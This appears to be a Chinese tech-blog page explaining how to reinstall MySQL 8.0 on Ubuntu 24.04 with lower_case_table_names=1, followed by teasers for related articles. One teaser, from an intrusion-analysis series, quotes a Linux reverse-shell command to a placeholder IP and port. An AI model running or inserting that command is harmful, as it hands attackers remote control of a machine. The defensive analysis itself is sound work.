mysql8.0表名忽略大小写(Ubuntu24.04)

news/2024/9/19 9:23:15

最近发现在ubuntu环境中mysql8默认是不忽略大小写的,这个在使用一些orm框架的时候可能会遇到一些问题,比如jpa会将表默认小写,如果数据库中的表是大写的这个时候就会报错: 表不存在。如何解决呢?

其实在数据库中无非是添加一个参数

## mysqld.cnf
[mysqld]
lower_case_table_names

这个参数有三个选项:

  • 0 表名将按指定方式存储,并且比较是区分大小写的
  • 1 表名以小写形式存储在磁盘上,比较不区分大小写
  • 2 表名按给定形式存储,但以小写形式进行比较

但是这个参数必须是在mysql初始化之前指定,那么也就意味着需要重装mysql

1. 完全卸载mysql

sudo apt purge mysql-* -y
sudo rm -rf /etc/mysql/ /var/lib/mysql
sudo apt autoremove -y
sudo apt autoclean -y

然后执行如下代码:

sudo dpkg -l | grep mysql

如果没有任何输出那么就已经完成卸载

2. 安装mysql

sudo apt-get update
sudo apt-get install mysql-server -y

   1) 修改配置文件 

sudo vi /etc/mysql/mysql.conf.d/mysqld.cnf

  在末尾添加

lower-case-table-names=1

在这个时候初始化数据库并启动会报一下错误,因为ubuntu安装的时候自动生成了/var/lib/mysql文件夹以及部分默认数据文件,而这些文件默认值lower-case-table-names=0,这与我们配置的有冲突,在错误日志中可以看到一下报错信息:

[ERROR] [MY-011087] [Server] Different lower_case_table_names settings for server ('1') and data dictionary ('0').

  2)删除/var/lib/mysql,并重新创建

sudo rm -rf /var/lib/mysql
sudo mkdir /var/lib/mysql    
sudo chown mysql:mysql /var/lib/mysql
sudo chmod 700 /var/lib/mysql

  3)初始化数据库

sudo mysqld --defaults-file=/etc/mysql/my.cnf --initialize --lower_case_table_names=1 --user=mysql --console

  4)启动mysql服务

sudo service mysql start

  5)获取默认密码,登录并且修改密码

sudo grep 'temporary password' /var/log/mysql/error.log

sudo mysql -u root -p

### mysql
alter user 'root'@'localhost' identified by '*******';

exit

  6)初始化root用户(删除外部访问的root帐户、删除匿名帐户、删除测试数据库(默认情况下,所有用户,包括匿名用户都可以访问该数据库)以及相关权限)

sudo mysql_secure_installation

  7)验证忽略大小写配置是否生效

show variables like 'lower_case%';

  如果结果是如下,表示配置成功

 

查考文档: How to install MySQL 8.0 with lower_case_table_names=1 on Ubuntu Server 20.04 LTS successfully? - Ask Ubuntu

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/47597.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

centos7配置nginx

需要安装几个插件 1.pcre、pcre-develyum install -y pcre pcre-devel 2.zlib安装yum install -y zlib zlib-devel 3.安装openssl 安装nginx,下载包wget http://nginx.org/download/nginx-1.9.9.tar.gz 如果提示wget 未找到命令 用下面命令装一下sudo yum install wget继续…

动态合批与静态合批的网格内存占用

1)动态合批与静态合批的网格内存占用2)如何让游戏能自动调起手机内置的“游戏空间”或“游戏助手”3)如何控制mesh.triangles值4)怎么让旧的粒子原地不动这是第391篇UWA技术知识分享的推送,精选了UWA社区的热门话题,涵盖了UWA问答、社区帖子等技术知识点,助力大家更全面…

【攻防技术系列+入侵分析】-- 手工分析Liunx反弹Shell特征①

#网络安全 #入侵分析 bash -i >& /dev/tcp/IP_ADDRESS/PORT 0>&1 上面的命令是我们常见的Linux反弹Shell的命令之一。它可以在几乎所有的Linux系统中运行,并且不需要额外配置其它环境。 命令分析 下面我们来分析一下这条命令: bash:启动Bash shell; -i:以交互模…

虚拟机出现“XXX不在sudoers文件中,此事将被报告”的问题

执行成功后编辑 /etc/sudoers文件vim /ect/sudoers bash: vim:未找到命令 改成nano   nano /etc/sudoers 在 在文件中,你可以找到以下行:root ALL=(ALL:ALL) ALL 在其下方添加你需要的用户权限:mp20 ALL=(ALL:ALL) ALL 保存并退出编辑器。如果使用 nano,按 Ctrl + O 保存…

两个表取差集再插入到另一张表中

@目录概要思路梳理实现步骤小结 概要 工作中采集时候遇到一个问题,就是两张结构一样的表数据不同,哪里不同呢,如t1表是基础表,里面数据量大,但是它不全,t2表有少数t1的数据也有一些自己额外的数据,我的需求是把t2里面t1没有的数据插入到t1中 思路梳理 这种也简单就是在t…

拉取 gitee 代码,配置SSH,Please make sure you have the correct access rights

拉取 gitee 代码,Please make sure you have the correct access rights git clone git@gitee.com:paddlepaddle/PaddleNLP.git生成 RAS 秘钥 ssh-keygen -t rsa -C "Gitee SSH Key" -t key 类型 -C 注释将C:\Program Files\Git\usr\bin 加入环境变更直接回车设置S…

java调用grpc

1.创建proto文件 // 使用该proto文件可以定义交互的服务接口,基于该文件编译成的源文件可以分别复制到 client端和server端,便于两者使用syntax = "proto3"; // 定义语法类型,通常proto3好于proto2,proto2好于proto1,如果不指定,默认使用proto2,必须位于第一行…

MoneyPrinterPlus:AI自动短视频生成工具-腾讯云配置详解

详细介绍如何使用在MoneyPrinterPlus中配置使用腾讯云语音服务,实现AI自动短视频生成。MoneyPrinterPlus可以使用大模型自动生成短视频,其中的语音合成和语音识别部分需要借助于一些第三发云厂商的语音服务。 很多小伙伴可能不知道应该如何配置,这里给大家提供一个详细的腾讯…